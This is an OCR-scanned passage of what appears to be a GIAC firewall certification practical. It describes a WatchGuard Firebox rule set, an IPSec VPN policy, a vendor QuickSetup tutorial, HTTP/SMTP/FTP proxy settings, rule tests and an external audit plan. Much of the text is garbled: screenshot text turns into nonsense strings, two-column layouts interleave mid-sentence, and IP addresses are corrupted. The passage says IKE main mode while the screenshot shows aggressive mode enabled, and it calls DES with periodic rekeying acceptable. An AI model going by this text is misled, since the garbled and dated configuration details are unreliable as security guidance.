:8 5] customer_HTTP Ay 66,100, 200,51 Yes ‘fes 66,100,200,51 Ay es Yes
zggcustomer_SMTP Any 66,100,200,52 Yes fes 182,1658,20.2 Ay Ves Yes
‘,o@DNS_Uut o Mo 66, 100.200.53 Ay Ves ¥es
t2 ElpsEC_FTP ipsec_Lsers 192.168.10.2 Yes s 192.168.10.2 ipsec_users  Yes Yes
:8 & IPSEC_HTTP ipsEC_Users 192,168.10.2 Yes fes 192,163.10.2 ipsec_users  Yes Yes
:8EIIPSEC_SMTP ipsec_Users 192.1658.10.3 Yes Yes 192.168.20,2 ipsec_users  Yes Yes
:B'WatchGuard 192,165.30,104  Ffirebox Yes es firebox Ay Yes Yes
DNS_out MLUM

An explanation of the policy itself is covered later in section 2.2.3.

2.2.1 Rule-set precedence

The order of the rules and how they appear in the policy are merely alphabetical. So the order
in which they are added does not matter. The precedence of each “service” is generally given
to the most specific service and descends to the most general service. However, exceptions

exist. There are three different precedence groupsfor services:
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= The"Any" service. This group has the highest precedence.

» [Pand ICMP services and all TCP/UDP services that have a port number specified.
This group has the second highest precedence and is the largest of the three.

= "Outgoing" services that do not specify a port number (they apply to any port). This
group includes Outgoing TCP, Outgoing UDP, and Proxy.

"Multi-services' may contain sub services of more than one precedence group. "Filtered-
HTTP" and "Proxied-HTTP", for example, contain both a port-specific TCP sub service for
port 80 as well as a non-port sub service that covers all other TCP connections. When
precedence is being determined, individual sub services are given precedence according to
their group (described previously) independent of the other sub services contained in the
multi-service.

Precedence is first determined by group. Services from a higher precedence group aways
have higher precedence than the services of a lower-precedence group, regardiess of their
individual settings (for example, the lowest precedence "Any" service will take precedence
over the highest precedence Telnet service).

The precedence of services that are in the same precedence group are ordered from the most
specific services (based on source and destination targets) to the least specific service. The
method used to sort services is based on the specificity of targets, from most specific to least
specific.

- Watchguard Technologies

2.2.2 Default packet handling

Default Packet Handling
Dangerous Activities
Ii Block Spoofing Attacks I? Block Paort Space Probes L
Iv Block, [P Optiorns v Block Address Space Probes F N
v EBlock 5%M Flood Attacks Logging. ..
SN Walidation Timeout: (120 EE:E] ey I-I-e-l|-3 ------

v Auto-block source of packets not handled

W Send an ermor message to clients whose connections are blocked

W Logincoming packets sent to broadcast addresses

W Log outgoing packets sent to broadcast addresses

As we can see here, the default packet stance of the firewall blocking spoofing attacks, IP
options set in the packet, detecting SYN flood and blocking vertical and horizontal network
scans. The logging options such that all allows and denies are logged and the activity shown here
will be logged and allow for a response by the security team.
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2.2.3 Summary of services

Below isasummary of each service that is alowed through the firewall. The firewall employs an
implicit deny rule meaning anything not specified is denied by default is dropped. Only these
service expressed are allowed.

Any-Partners:

Incoming: Allowed

From: ipsec_users

To: trusted

Outgoing: Allowed

From: trusted

To: ipsec_users

The Any service is used to allow the VPN users access to the network. The ipsec_users include
anyone who is added either as a network or as an IP host and these would include those users
who are considered the Suppliers or Partners. This is how the IDS system is getting through to
the logging host on the data network.

Customer_HTTP:
Incoming: Allowed
From: Any

To: 66.100.200.51
Outgoing: Allowed
From: 192.168.20.1
To: Any

Port: TCP 80

Customer_SMTP:
Incoming: Allowed
From: Any

To: 66.100.200.52
Outgoing: Allowed
From: 192.168.20.2
To: Any

Port: TCP 25

DNS _out:

Incoming: Allowed

From: Any

To: 66.100.200.53

Outgoing: Denied

From: None

To: None

Port: UDP 53

Notice we are not allowing outbound connections and the server will not be allowed to provide
zone transfers.
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IPSEC_FTP:
Incoming: Allowed
From: ipsec_users
To: 192.168.10.2
Outgoing: Allowed
From: 192.168.20.1
To: ipsec_users
Port: TCP 21

IPSEC HTTP:
Incoming: Allowed
From: ipsec_users
To: 192.168.10.2
Outgoing: Allowed
From: 192.168.20.1
To: Any

Port: TCP 80

IPSEC_SMTP:
Incoming: Allowed
From: ipsec_users
To: 192.168.10.3
Outgoing: Allowed
From: 192.168.20.2
To: ipsec_users
Port: TCP 25

WatchGuard:

Incoming: Allowed

From: 192.168.30.104

To: firebox

Outgoing: Allowed

From: firebox

To: 192.168.30.104

Port: TCP 4103, 4105

This service allows the monitoring and configuration changes which include patches and
firmware updates. The system at 192.168.30.104 is the highly secured station that is only used by
select members of the security team.

2.3 VPN policy

Some rather detailed decisions have to be made when implementing a VPN solution. So as we
look at setting up a VPN connection into the GIAC network we also look into the decisions we
have made and why we made them. We are going to look at the VPN tunnel creation with a
remote user who is using a hardware SOHO/tc device (a mini IPSec-compliant firewall, see
section 1.5.5). In the diagram that follows the (1) indicates what remote IP numbers are set for
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the “other” end of the gateway (we are making these changes at the firewall). Next, we define
the external address that will take care of the encryption or what is known as the gateway (2) or
the end of the tunnel. The tunnel (3) is configured in the same manner and the second phase
setting are will be typically set at is shown in the figure.

The * Configure Gateways” window shows the actual externa IP for the VPN tunnels. Then we
have a supplier (Supplierl) configured for asingle system at 172.16.2.14 to use the VPN. Thisis
the ideal solution because it limitsthe VPN to asingle IP.

IFSec Routing Palicies: 1

Local Addresses | Remote Addresses | Dizposition | Tunmel | DWCP | Cancel
i—ﬁ— 192168.10.0/24 17216.1.0424 SECUIE Partner no
i—“- 192168.10.0/24 17216.214 TECLre Supplier! no Gateways...

Tunnels. .

oo s |

:
t

Logaing...

]
Marme | Tupe | P Address &= | Ok
g Partner izakmp 21010010081 Cewer
,@ Supplier izakmp 210.100.100.89

Fateway Mame Type |
Fartrerl Fartrerl izakmp C |
Supplier] Supplier! izakmp ance

Identity  Phase 2 Settings I 3
Tunnels...

Security Aszociation Propozal [SAP]

Type: |ESF' [Encapsulated Security Payload] j

Authentication: |MDSHMAC
E ncryption:; | 3DES-CBC

[
[

v Force key expiration:

every (8132 _%l kilobytes
every |24 _%l hours

2.3.1 IPSec protocols

The first concern is the data confidentiality or the ability to confirm that the data is protected
from anyone trying to “sniff” traffic on the wire. Next is authenticity or a means to confirm the
identity of the sender of the data. The integrity of the data is the next concern, as we need to
make sure that the data has not been changed on its way to the destination. Lastly there is the
problem of replay protection, which means that the data must be protected from being repeated
and would require proper authentication. To begin to meet these needs we will choose
encapsulating security payload protocol (ESP). Our other option, the authentication header
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protocol (AH) does not provide confidentiality protection. AH is defined further in RFC 2402
and ESP can be found in RFC 2406. As shown in the figure below, ESP provides confidentiality,
integrity and authenticity of the data.

TransportMode—-AH [ Originall AH

Header| Header Payload
| Authenticated —
Transport Mode - ESP | Driginal- ESP | Payload
Header| Header
| Encrypted
Authenticated -

| PSec uses a security association (SA) to define a secure link from source to destination. An SA
can use either protocol AH or ESP to secure its communications but not both. To keep track of
which packets go with which SA they contain what is called a security parameter index (SPI).
Each SA created represents a unidirectional path so for each tunnel there will be two SA’s.

[' | 2.3.2 Internet key exchange
(IKE)
Name: | i IPSec uses ISAKMP, which is known aso
K.ep Meqgatiation Type:| J Cancel as IKE. Usi ng IPSec and IKE data can be

encrypted and maintained. The key
exchange takes care of passing
authentication keys between the ends of the

Remate 1D Type: ||F' address j
Gateway [P Address; |21 0.100.100.81

Help

dldid.

[(autach ] L ) o
Shaed ey [[aochangene o tunnel, changing keys and determining when
. Phase 1 Settings: to change keys the ends are defines as the
Local ID Type: |IP Address « |~ Megotiation Timeouts devices that perform the Computational
Authentication; [MDSHMAD v = Kilobytes ?SpeCtzt of thg’ VPN. In O;Jk: n(fatworgl’l tf:
. - erminating devices are the firew
E . [mescec =] s =1 i
neween A = hous 66.100.20051 and the SOHO device at
Diffe-Helman Groug: |2 - 99.100.200.50. It is the responsibility of the
¥ Enable Perfect Foward Secrecy GIAC security team to change the keys (the
W Enable Aggressive Mods secret) to ensure the security of the tunnels.

The IKE process uses two phases. The first phase takes care of establishing a secure channel to
communicate. Our choices here are whether to use “main mode”’ or aggressive mode” to perform
phase 1. We will opt for main mode because it provides identity protection and aggressive mode
does not. Phase 2 is described as the process of the security association’s negotiation on behalf of
a searvice (IPSec in our scenario). [See figure above]. Therefore in phase one both side of the
tunnel establish a secure connection using either a pre-shared secret or a digital certificate. We
will use the pre-shared key, shown in the figure here as “(autochangeme)” and as stated earlier,
make it the responsibility of the security team to change these keys regularly. In phase two, the
exchange of cryptographic keysis performed and the tunnels are created.
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Our choices with Watchguard equipment is DES or 3DES. There is no reason to use regular DES
unless a some point in the future the firewall is overloaded with the high computational
overhead of 3DES. If that does occur, we can set our VPN policy to change renegotiate DES
keys every 12 hours thereby circumventing any threat that a DES key can be cracked and used
before a new one is negotiated.

For our suppliers and partners to access the GIAC network we will incorporate a VPN using
IPSec for their remote connectivity. Our policy will alow the connection of specific systems to
the GIAC network. Because IPSec work on Layer 3 of the Open Systems Interconnection (7
layer) standard, the application layer which is layer 7 will not have to understand or directly
communicate to the any application level communication. This allows the applications front-end
for the database and file transfers to happen as if the clients (the suppliers and partners) were on
the same network. As part of our policy we are not going to allow any type of VPN connection
that is not |PSec-compliant with our Watchguard firewall.

2.3.3 Testing the tunnel

After the tunnel is configured, the tunnel itself is not created until we try to use it. In order to
confirm it will work as expected we need to use the “ping” command to “ping” the remote
network. This can be done from either side because the ICMP packet will force traffic both ways.
In the sample Control Center here, we can confirm the VPN tunnel is up and working by viewing
the traffic over the tunnel. Another test is to ping a machine on the private network behind the
firewall (from the mobile user end). Once the PING replies, you can be assured the tunnel is up
and working.

WatchGuard Control Center E]
. - N TN

External Connected vo: Bl FEF =8 0
Up Time: 5 days, 22:54
Currently Logging to: 192.168.63.4

| Allowed packets: 147

Denied packets: 0

Authenticated uzers: 0 V P N ff'
Trusted Optional Traffic Load Cunentconnectlons:28r I ra IC

1" Bethesda-Stlames-001 &
T=p  SEMT: Z899ES of 3388607 bytes (1280 packets] |
_¢= RECV: 133595 of 8388507 bytes (795 packets) 3

Ke_l,l expies in; 22 hours., 07 rin
or: 7,908 KB

-IPSEC -

MO&S-HMAL Suthettication
3DES-CBC Encryption

- Routing Policies: 152.168.2.0/24 -»132.168.53.0/24

+ ﬁ Bethesda[TrustedNetwork] duxbuly[duxtrusted] -000 - DVCP

+1 P¥a Bethezda-Stlames & -IPSEC -
+ ﬁ: BethesdalT rustedM etwark J-dusburm{dustrusted)-002 | BT R0 ES TR - DVEP

+ ﬁ: Bethesda-Columbia-000 e 588 8 8- [PSEC

+ ﬁ Bethesdalzdpalicy)-S anDiego(zandiegatrusted)-000 1-|PSEC

+ ﬁ Eelhesda[sdpollc_l,l]SanDlego[sandlegotrusted] ! -IPSEC

aim e L i S Lo Tt b

2.4 Firewall tutorial

The following section describes how to setup a Watchguard firewall and configure the services
needed for your particular needs. The diagram shown below we see each allowed service is
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shown inits own line. (The firewall have an implicit deny rule so any service not defined will
not pass the firewall). From left to right there is the name of the service (user definable). Then
the next two columns are showing the restrictions for connections initiating from the outside or
public network. The next column is showing the target IP or network. We have set the firewall to
log allows and log denies which is typical for each firewall on each service. Note by default ALL
services will only log denied packets due to the amount of logged information that is expected
for allowed and denied packets. We however, have plenty of room and resources to take care of
logging both allowed and denied. Next is the outgoing policy, which in most cases we have made
more secure by restricting only those specific IP's which we know should be initiating a
connection outward. In the case of the IPSEC_FTP (192.168.10.2) service we see that the
outgoing “to” is setup to send only to an authenticated IPSEC_USERS group (the partner or
supplier group).

@l F:\100Practical\outside firewall.cfg * - Policy Manager E]@
File Edit Setup Metwork  wiew  Help
PREMWN T X LR EF LAEOO =

Configured Services | Incoming: From | To | Log Allows | Log Denies | Cutgoing: From To Log Allows | Log Denies |
:8 @ Ary-Partners ipsec_users trusted Yes ‘fes trusted ipsec_users  Yes Yes

:8@ customer_HTTP Ay 66,100, 200,51 Yes ‘fes 66,100,200,51 Ay es Yes
:8E|custc-mer_SMTP Ay 66,100, 200,52 Yes Yes 192.1658.20.2 Ay Yes Yes

0B ONS_aut Mo il £6.100.200.53 Ay Ves Yes

t2 ElpsEC_FTP ipsec_users 192.168.10.2 Yes Vs 192.168.10.2 ipsec_users  Ves Yes

:8@ IPSEC_HTTP ipsec_users 192,1658.10.2 Yes ‘fes 192,1658.10,2 ipsec_users  Yes Yes
:8EIIPSEC_SMTP ipsec_users 192.1658.10.3 Yes Yes 192,168.20.2 ipsec_users  Yes Yes
:B'WatchGuard 192.168.30.104¢  Firebox Yes es firebox Ay Yes Yes
DMS_ouk MUM

2.4.1 Configuring the firebox

This portion of the tutorial was obtained from Watchguard documentation, which is available
after installing the software.

In this exercise, you will use the QuickSetup Wizard to create a basic configuration file and flash
your Firebox with the new configuration image. Note that in the following exercise, you
configure the Firebox in routed mode to simplify the exercise.

To manually start the QuickSetup Wizard from the Windows desktop:
1. Click Start => Programs => WatchGuard Firewalling Basics => QuickSetup
Wizard.

Startup L4 i
W atchGuand r Dacurmentation ’

- S B8 Control Center
&dminiztrative Tools (Comman]  * L]

Adobe r
Adobe Acrobat k & M

H QuickSetup wWizard

The QuickSetup Wizard prompts you to select a configuration option.
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2. Select Routed M ode from the Select a configuration mode drop list. Click Next.

‘= wWatchGuard QuickS etup Wizard

Welcome to the WatchGuard QuickSetup Wizard!

This Wizard automates basic Feebox configuration and wil
Al s b

* Conifigure network. seltings for your Firebox

* Select access passphiases

* Inztall a basic secunty pobcy on pour Firebox

m The: followang i needed to complete powr basic configuration:
* Publc IP address for your Feebox

FIREBOX * IP addvess of your Intemet routes
CONFIGURATION * Red [cross-over) cable ncluded with your Firsbox
* Bhus [senal) cable inchuded with your Firsbox
Select a configuration mode

Nest > Cancel | Hep |

3. Enter the IP address for each Firebox interface. Click Next.

In a routed configuration, the three Firebox interfaces use different addresses. If there were a
secondary network on the Trusted interface, you would select the | have an additional non-
routed network behind my Firebox checkbox, then enter an unused IP on the secondary
network using slash notation.

» WatchGuard QuickSetup Wizard

Firebox Interfaces

INTERNET r

= = _" Enter the IP address for each Feebox nterface. You can add
S an additional netwsork. behand the: Trusted interface. For help on
slash notabon, chck the Metmack button.

Extemal Interace: | /
TrustedInterface: | - - /
Optional Inteface: | oL

FRSTED
LA T NTEEEACE

™ | have an addiional norrouted network, behind my Frebos

|
wl'!a!'!rs- Netmask... |

< Back Nest > Concel | Hep |
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4. Enter the default gateway. Click Next. (Thiswould normally be the router LAN IP of the

router)

= WatchGuard QuickSetup Wizard

AT NET

Firebox Default Gateway

Enter the IP address of the defaull gatewsay for vour Firebox.
This showld be the IP address of your Intermet router and must
be on the same netwoark. a3 the Firebax

]|

el
D efault Gateway:
.
wmré-
< Back Mewt > Cancel | Help

|

5. If you have a public SMTP (e-mail) host, HTTP (Web) host, or FTP (file transfer) host,
select the appropriate checkbox and then type that host's P address. Click Next.

= WatchGuard QuickS etup Wizard E |
Configure Public Servers

TR ETTR TR
EEVENS

Enter the IP address for each of your public servers. If you do
not have any public servers, leave the checkboxes amply.

™ 1 have an SMTP server behind my Firebos:

™ 1 have an HT TP server on the Optional nterface:

E@ ™ | have an FTP server on the Optional interface:

¢ Back Mext » Cancel Help

6. Inthe Status Passphrase box, type 1111111. In the Configuration Passphraée box,
type 2222222. Click Next.
Y ou must select two different values for these passwords.

© SANS Institute 2000 - 2002
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= WatchGuard QuickS etup Wizard E |

Create Fuebox Access Passphiases

The stahus passplwase is used to establish read-only
connections to pour Frebox.
Stalus Passphrase: |
Confam: |

m The configuration passphiase is used to establish read/write
connechions to your Firebox,

Configuration Passphease: |
Confirm: |

Back [ MNew> Cancel | Heb

7. Select Use Serial Cableto Assign |P Address. Select COM 1. Click Next.

When using a serial cable, you must also supply the Management Station serial port number to
which the cable is connected. If you cannot connect the Firebox directly to the management
station, select Use TCP/IP to Configure.

= WatchGuard Quick5etup Wizard

J‘ =] k=1 k= can commurecate vath £ This must be an unused IP address
S on the same nebwork. a3 this machine,

Temporay |P Addvess: 192 168.43 53 /24

w Alftes confwming your conhgurabion, you wall be prompted to hum
m"g' on the power to yous Firebox.

R (e T
Ao

cBock 1 Net> ) cConcel | Hep
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8. Review the settings. Click OK.

|Basic Frebox Configusahon: -

Interfaces:
+ Extemal 192 168 49 4724
+ Tusted: 192 168 49 4/24
+ Optional: 192.168.49.4/24

Default Gatewssr 19216849254

Default S ervices:
+ Ping enabled for outgoing connechions
+ HT TP enabled fior outgong connechions
+ W atchGuard configurabion allossed from brusted
+ FTP enabled fior outgoing connechons

All other mcoming connechions wall be densed

Loggng
+ Log host: 192,168 43.52

+'Your status passphrase was used for log encapplion

Policy upload
+ Upload will use COMI P
+ Upload will communicate wath 192 168 43 53/24 LJ

Thes information has been saved as wizard_sefup b if pou want to
rewiew it |ater

Corcel_|

The QuickSetup Wizard creates a basic configuration file and saves it to the local hard drive as
wizard.cfg. It then attempts to contact the Firebox. The information is also saved to afile named
wizard_setup.txt in the WatchGuard Firewalling Basics installation directory.

9. Typethefactory installed configuration password: wg. Click OK
10. Turn the Firebox off and then on.

The QuickSetup Wizard prepares the files and attempts to connect to the Firebox. If there is
more than one Firebox with the read-write password "wg' on the same network, the Firebox
selector dialog box appears. Use the Blink Lights button to select the address of the Firebox you
are currently configuring.

Configuring Firebox

%& Status: Turn on pour firebox now. Waiting. .

11. When a connection is made, the wizard uploads a basic configuration file to the primary
area of the Firebox flash disk and initializes the Firebox with the IP addresses you
provided.
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Configuring Firebox

*-A Status: Creating a new image...

12. When the upload is compl ete, the Firebox SysA and Armed indicators illuminate on the
front panel of the firewall (after about 30 seconds).

= WatchGuard Quick5 etup Wizard

— Firebox Bazic Configuration Complete
INTERNET

. o The security pobicy that this Wizard created iz & basic policy
that allows users beband pour Firebox to access the Internet
and probects your network. from the hazasds of the Intemet

If you want to create addiional secunty policies or conhgure
ophonal components. run Polcy Manager from W atchGuand
Contiel Center. Thiz secusily policy created by this \wizard has
been saved ac wizard cig.

13. Click Finish to complete the Firebox

setup. s X

Services:
2.4.2 Appling the services 45 Packet Fiters v e
Once we have the firewall in place we need 7 DEE*‘[';:SE_HPE
determine which services that we need to alow DNS Prasy
the business to flow. This would be determined < :223
after a detailed look at the needs of the network @ HTTP
and business needs. Which protocols are we going g e e
. ) : . -
to be using? Are we going to be using a service g Roshetworks %
network? Do we want to allow AOL Instant & RTSP
. . . =] sMTP
messaging? Note: This example does not reflect i v
the configuration for our firewall and is meant Details.
only as an example. The order in which the Port Frotocal Client Port
. . A3 DHS-UDP ignare
rulesareapplied are not related to theorder in 53 DNS-TCP ignore
WhICh Or_]e addS them to a pOIICy' For more Diomain Mame Service [DMS) maps host names to [P -
|nfor mation Of the pr ecedence Of the rU|eS, see addresses. ou will probably not need to add & DNS
. FEMVICE ICoh unless you maintain a public DMS server
section 2.2.1 behind the Firebox, since the Outgaing-UDP or Dutgoing  +
You use Policy Manager to add existing, Help | [ add. Clase
preconfigured packet filter and/or proxy services
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to your configuration. In the process of working with services, you use the Properties dialog box
to set incoming and outgoing parameters, and to set and modify properties for a given service.
The dialog box title changes depending on the service you are editing chosen.

To add anew service to your firewall policy:
1. Open the policy manager from the WatchGuard Control Center from the Start > Program
Files > Watchguard > Control Center.

[/ WatchGuard Control Center E“El@

Mo connection ﬁ g @ % @ Y

External

Policy Manager

Trusted  Optional Traffic Load

2. Open the Policy Manager (shown above), then click the Add Servicesicon.

Add Service

7 C:\I00Practical\Firewall D.cfg * - Policy Manager E]E]
File Edit Setup MNetwork, View Help

BTRUEM T+ X 2R EF LA %

L.
»Q »o % *0
o

Proxied-HTTP SMTP WatchGuard
Service Properties

¥

DNS-Proxy MNUM

You can aso select Edit => Add Service. The Services dialog box appears. You use this dialog
box to add, modify, and remove the packet filter and proxy services you want.

3. Expand the Packet Filters or Proxy Services folder. A list of pre-configured filters or
proxies appears. Custom service can be added to accommodate any port, protocol and client port
configuration.

4. Click the name of the service you want to add.
When you click a service, the service icon appears in the area below the New, Edit, and Remove
buttons. In addition, the Details box displays basic information about the service.
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5. Click Add.
You can customize both the name and the comments that appear when the service is being
configured. Click in the appropriate box and type the name or comment you want.

2.4.3 HTTP proxy service

Settings E Sale Conlenti WebBlocker Eonlrols} wB: Schedule ‘_j_tl

. : e This service should be watched closely
Yo mee b tueeces b because there is countless vulnerability found
[ Remaove cookies . .
= on any type of web server, like our Microsoft
iy submission: K
G IIS servers. Web servers are no doubt high
W Dery ActiveX, applets profile targets. The proxy server we are using
¥ Remove unknown headers will provide more protection from certain
v Lag accounting/auditing infarmation types Of Web content.
|dle timenout: |- ----- E- -D-le;§;| seconds
| Use Caching Prasy Server The Proxied-HTTP  service  combines
Pl Pt | configuration options for HTTP on port 80
with a rule alowing al outgoing TCP

o 5 connections by default. Using the Proxied-
% | G | *b | TTP rule will ensure that al HTTP traffic,
regardiess of port, will be proxied according
to the HTTP proxy rule set defined. There will be two separate HTTP services defined, one for
the “remote”’ network that is used by the partners and suppliers and one for the “service” network
for the customers. For example, the so-called “IPSEC_ HTTP’ service will alow Incoming
HTTP only the IPSec_users group (partners and suppliers) to ONLY 192.168.10.2 and the
reverse connection from 192.168.10.2 to the IPSec_users group. The 1PSec_users group is
automatically assigned for those networks or IPs that are configured for a VPN tunnel. All
connections will be logged whether they are allowed or denied using this service.
The policy for the HTTP connections
made will be restricted using
WatchGuard's WebBlocker controls. The

access for this service is controlled by i :
. . [ Black all autgoing Web access
specifying an operational and non-
operational hours. Anyone who attempts Block specific Web access:
to access the web browser on non- ¥ loohol and Tobacco v Yiolence/Frofanity
operational hours will receive the v lllegal Gambling [ Search Engines
followi ng message in his or her browser. v Militant/E stremizt W Sports and Leisure
v Dirug Culture v Sex Education
“Request blocked by WebBlocker. ¥ Satanic/Cult W Sexual Acts
The operational hours for access to W Intolerance W Ful Nudity
this network is 900 am to 6:00 pm ¥ Gross Depictions v Partial/ttistic Mudity
Eastern Standard Time.”

Content Filtering (WebBlocker) ,
This is the very useful WebBlocker 0k ]| Cod | Hep |
portion of the HTTP service as it allows a
much more granular control over the web access. It uses a database created by SurfControl, a
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company who maintains a web page filtering database for home, educational and business
environments. Once activated it will pull this database and use it to block sites, which have been
assigned to the categories, which we will choose to block. If there are sites which are blocked
and are legitimate, they can be added to a “aways alow” list. If the reverse istrue and thereisa
site which is alowed but should not be, then it can be added to an “aways deny” list. This
responsibility shall be that of the security team at GIAC to maintain this control. As shown here,
the only category that will be allowed will be search engines, al the others are considered
inappropriate.

This service has extensive options, as you would expect. In addition to its other features, HTTP
proxy also adds a few milliseconds delay to the response, making response-time profiling
difficult or impossible. This can prevent most types of automated server profiling attempts. The
Firebox HTTP proxy is able to filter Web requests for harmful content based on MIME types
identified by the sending Web server. The MIME content type filtering relies on the remote web
server sending a correct Content Type header to the Web browser. Some web serves fail to send
this content type header information completely, and these servers will not be alowed through
the HTTP-Proxy when thisfiltering is activated.

Some additional features that can be controlled with the HTTP proxy service are:

Deny Java option
The Firebox uses fingerprinting techniques to detect precompiled Java applets.

Deny Active X option
This option will deny HTTP response headers from Web servers, which are not defined in RFC
2616. For more information, see the http://www.ietf.org

Incoming SMTP Proxy Remove unknown headers option
General Content Tvpes | Address Patterns | Headers | Loaging | This Option will deny HTTP response headers from
Web servers that are not defined in RFC 2616.

Content Types
[ Allony only zafe content types and block file patterns:

— 2.4.4 SMTP proxy service
el This service is a key focus for security reasons. It is
the primary method for inbound melicious code that
pdd.. | Remave | takes the form of an attachment. Our control over
Eieny attachments bazed on these file name patters: Wthh attachn-ents are b| OCked are Configured VV|th| n
o 2 this proxy. Also shown here as “content type’ are
i — where we allow certain MIME types that the emails

Add will be allowed to use.

Deny Mezsage:
[attachment denied by \watchGuard SMTF prosy [type "2

Our policy in this server is to adlow ONLY those
content type that are deemed a business need. By not
specifying any other type, everything not specified
o | here is denied. This is important to minimize the

= == [ possibility providing a path for a virus to enter our
network. The “Deny Attachments” will restrict al of those attachment types we specify here. We
have configured this area to include all “executable” types, such as scripts, batch files, Windows
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related executables, web links and so on. As we learn of new attachments that could be uses with
a virus, we will add any exention that the virus may use here. A message may very well get
through but just not contain the attachment. When a message is stripped or blocked in this way,
the RECEPIENT gets an emalil that contains the “Deny Message” which we can customize to our
liking.

2.4.5 FTP proxy service

This service can be a focus for attackers and could leave our data unavailable if for instance,
someone performed a DOS attack against the FTP server on the service network. We will use
authentication to the web server to control who has READ-ONLY and who has READ-WRITE
permissions to the data. In general the suppliers need to have READ-WRITE and the partners,
READ-ONLY as explained further below.

The “IPSEC FTP’ service dlows only those authenticated using the VPN tunnel. This
connection will be used by the suppliersto feed in the fortunes themselves to the FTP server. The
partners will need access to this same data but they will only have read-only connections.
Authentication is setup for these two groups on the web server with different passwords so as
each party connects this will determine which rights they are allowed to use respectively. We are
logging incoming and outgoing connections and like all the other services we are logging all
denied packets. This does produce a good amount of log information but the fact that these PC’'s
are external to the company premises and physical security to these machinesis not controlled as
well as GIAC’sinternal systems means we should log al activity from these systems.

2.4.6 Rule testing

It is time to test the functionality of our rules. For these following tests, we are using our
actual policy that covers the same services described in the tutorial section. We will select
three rules and test if the traffic is being allowed or denied like our policies should be enforcing.
The testing will help ensure the business needs are met.

2.4.6.1 HTTP testing

The first test will be the Customer HTTP rule on the primary firewall. The rule states all
connections initiated from ANY IP are allowed to the server at 66.100.200.51

Customer HTTP:

Incoming: Allowed

From: Any - Any IP on the Internet

To: 66.100.200.51 - Toonly our HTTP server on the service network
Outgoing: Allowed

From: 192.168.20.1 - Only the corporate HTTP server is allowed to initiate
To: Any - ...aconnection to any IP on the Internet

So our test connection IN will be contain the following steps:
= Connect to the Internet via a separate |1 SP.

= Makethe HTTP connection to the 66.100.200.51 server. (Thisisresolved to
Www.giac.com)
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= Ensure the web page is being delivered

To test our outbound connection we will perform the next steps:
= Connect to the corporate network and (from aworkstation) try to make a web connection.
(the connection will fail because we are only allowing the HTTP server outbound
connections over HTTP)
= Logontothe HTTP server at 192.168.20.1 and browse the Internet. (a successful
connection confirms out rule-set is working)

We need to further test the denied connections by logging onto the remote and data networks and
confirming that we cannot browse the Internet.

2.4.6.2 FTP testing
Next isthe FTP rule we need to test and the rule on our primary firewall states:

IPSEC_FTP:

Incoming: Allowed

From: ipsec_users - From only the VPN users

To: 192.168.10.2 - To Only the HTTP server

Outgoing: Allowed

From: 192.168.20.1 - Only from the HTTP server on the corporate network
To: ipsec_users - To Only the VPN tunnels

The testing will be completed with the steps outlined here:

= Log onto the remote and service segments (from a workstation) and attempt to connect to
the HTTP server at 192.168.10.2 (This should be denied in both cases). This will confirm
that our Incoming portion of the rule is working. We are not testing the rules that block
the other two segments so we do not need to make this attempt from behind the interna
firewall.

= To make sure the “outgoing” portion of the rule is functional we would try to use a
browser from any segment. We should see that we would not be able to connect.

2.4.6.3 SMTP testing

Lastly, we look at the Customer_SMTP service that is also a primary function of the business to
make sure that it is working as expected. The rule on the primary firewall states.

Customer_ SMTP:

Incoming: Allowed

From: Any - From any Internet |P

To: 66.100.200.52 - To only the SMTP server

Outgoing: Allowed

From: 192.168.20.2 - From only the SMTP server on the corporate network
To: Any - Toany Internet |IP

To test this rule we will perform these steps:
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= Log onto the remote, corporate and data networks (using a workstation) and attempt to
send email to a public address.

= Log onto each server on the corporate network and attempt to send an email to a public
address. It should only be possible from the server at 192.168.20.2 and this would
confirm our rule is accurate.

Since each of these tests touch upon the rule-set of other devices, thisis also confirming the valid
policies on other devices.

3 Network audit

GIAC isready to test the systems that are now in-place and have been running without problems
for a few months. It is time to perform a network-wide audit. The goal of this procedure is to
verify the security of the network designed for GIAC enterprises. We will test the systems from
the outside and inside the network to confirm the traffic is allowed and denied from such points.
By doing this we can confirm the firewall if performing as expected. The audit will be performed
with limited knowledge of the network. All external 1P information will be known, but the logon
credentials and security policy will not be known. The reason we start with this limited
knowledge is that it is likely that an attacker would obtain the external 1P information but not
necessarily the passwords to those systems. Before any actual work is performed the
company, (GIAC) will sign an agreement to the terms and acknowledgments that should
include but not be limited to the following:

= GIAC will have a known-good backup of al the data on each server touched by the audit.
= The Auditor is not responsible for any loss of data or downtime.
= GIAC isresponsible for making any changes to the network systems after the initial audit
and before the follow-up audit.
= Both parties shall agree to the risk involved. These risk may or may not be limited to:
0 Lossof data
o Downtime
0 Servicesunavailable
0 Lossof business functions

A document will be drafted to reflect the position and responsibilities of both parties. The risks
associated with the audit will be thoroughly listed. A known-good (tested) backup of all the data
will be confirmed before any work is performed.

3.1 Firewall audit plan

GIAC Enterprises will have an external contractor conduct and audit on aregular basis. This next
audit is focused on the primary firewall. The plan will be laid out in a forma document to be
agreed upon by both GIAC and the contractor who is doing the audit. A schedule will be
established to do the audit on weekends and the early morning hours that the company will not
be working. The entire audit is expected to take 160 person-hours or 2 people 10 days. The
estimated of the audit will be a cost of $19,200 that is $125 an hour for two technicians. The
audit will composed of these 4 phases. Throughout the audit, we will use a few tools described
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below. The tools will be used on a laptop and when connected to the Internet OR for the internal
audit to the GIAC network. It will be used to scan the firewall.
http://www.gfi.com/downloads/downloads.asp?pid=8&lid=1 — Free network scanner called
Network Scanner (Version 2.0).

http://www.eeye.com/html/Products/Retina/ - Retina Network Security Scanner V3.0

http://www.samspade.org/ssw - SamSpade 1.14

3.1.1 External audit

Information leaking out is our greatest interest. The external audit will be composed of differing
scans for reconnaissance purposes, those scans will target the firewall, and the service network
since that network is using a public address scheme. With any information gathered, we will test
for vulnerabilities and attempt to gather information that could be beneficial to an attack. We will
attempt to confirm the service being allowed thru the firewall and thereby validate the firewall
policy. It will also show how our IDS systems are functioning to monitor such information
gathering attempts. Adjustments to the network can then be explored to help prevent any future

3.1.2 Internal audit

The internal audit will be performed from the service and corporate networks from the
perspective of where we need the most secure control over. Thiswill validate the limits to of and
internal system or user. To find specific vulnerabilities, we will be using the Retina Network
security scanner tool. It allows for quick updates via the web so it will detect the latest
vulnerabilities.

3.1.3 Report

A formal report will be generated after the audit is completed and all the data is verified. The
report will include a summary of the problems found and a complete report from each tool used.
This report will be submitted to the company for their internal use. GIAC will make any changes
that the report would find and prepare for the follow-up audit.

3.1.4 Follow-up audit

After the company has had a chance to make changes on their firewall and network in general.
The follow audit will occur and will cover the “holes” which were found in the previous audit to
